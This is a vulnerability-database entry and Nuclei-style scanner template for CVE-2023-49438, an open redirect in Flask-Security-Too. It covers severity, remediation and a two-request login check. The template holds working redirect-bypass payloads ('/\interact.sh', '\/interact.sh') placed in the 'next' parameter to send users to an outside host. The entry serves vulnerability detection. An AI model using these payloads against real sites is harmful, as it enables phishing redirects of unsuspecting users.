Python Flask-Security-Too <=5.3.2 - Open Redirect
CVE-2023-49438
Verified
Description
An open redirect vulnerability exists in the python package Flask-Security-Too prior to version 5.3.3. Attackers can abuse the 'next' parameter on the /login and /register routes to redirect unsuspecting users to malicious sites via crafted URLs, which could lead to phishing or other attacks ([NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-49438)).
Severity
Medium
CVSS Score
6.1
Exploit Probability
13%
Affected Product
flask-security-too
Published Date
April 21, 2026
Template Author
ritikchaddha
CVE-2023-49438.yaml
id: CVE-2023-49438
info:
name: Python Flask-Security-Too <=5.3.2 - Open Redirect
author: ritikchaddha
severity: medium
description: |
An open redirect vulnerability exists in the python package Flask-Security-Too prior to version 5.3.3. Attackers can abuse the 'next' parameter on the /login and /register routes to redirect unsuspecting users to malicious sites via crafted URLs, which could lead to phishing or other attacks ([NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-49438)).
impact: |
Allows attackers to redirect users to arbitrary sites, potentially leading to phishing, data theft, or user session hijacking.
remediation: |
Upgrade Flask-Security-Too to version 5.3.3 or later to mitigate the open redirect vulnerability.
reference:
- https://github.com/Flask-Middleware/flask-security
- https://github.com/brandon-t-elliott/CVE-2023-49438
- https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/6HCYH377TPUMUHELPI36PDS2ZM4VFIXM/
- https://nvd.nist.gov/vuln/detail/CVE-2023-49438
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-49438
cwe-id: CWE-601
epss-score: 0.13041
epss-percentile: 0.94178
cpe: cpe:2.3:a:flask-security-too_project:flask-security-too:*:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: flask-security-too_project
product: flask-security-too
tags: cve2023,cve,redirect,flask,flask-security,redirect
http:
- raw:
- |
GET /login HTTP/1.1
Host: {{Hostname}}
- |
POST /login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
next={{path}}&csrf_token={{csrftoken}}&email={{username}}&password={{password}}&submit=Login
payloads:
path:
- /\interact.sh
- \/interact.sh
matchers:
- type: regex
part: header_2
regex:
- '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$'
extractors:
- type: regex
part: body
name: csrftoken
group: 1
regex:
- 'name="csrf-token" content="(.*)"'
internal: true
# digest: 4b0a00483046022100c8e3034c97c799a510577f36ddd48f68aac7562d4df782207c65f2feebc9839c022100eebd0dd6a75166f6e138a08031cc2077a9b56516d1954a00389b4babe506e627:922c64590222798bb761d5b6d8e729506.1Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
CVE ID:
cve-2023-49438
CWE ID:
cwe-601
Remediation Steps
Upgrade Flask-Security-Too to version 5.3.3 or later to mitigate the open redirect vulnerability.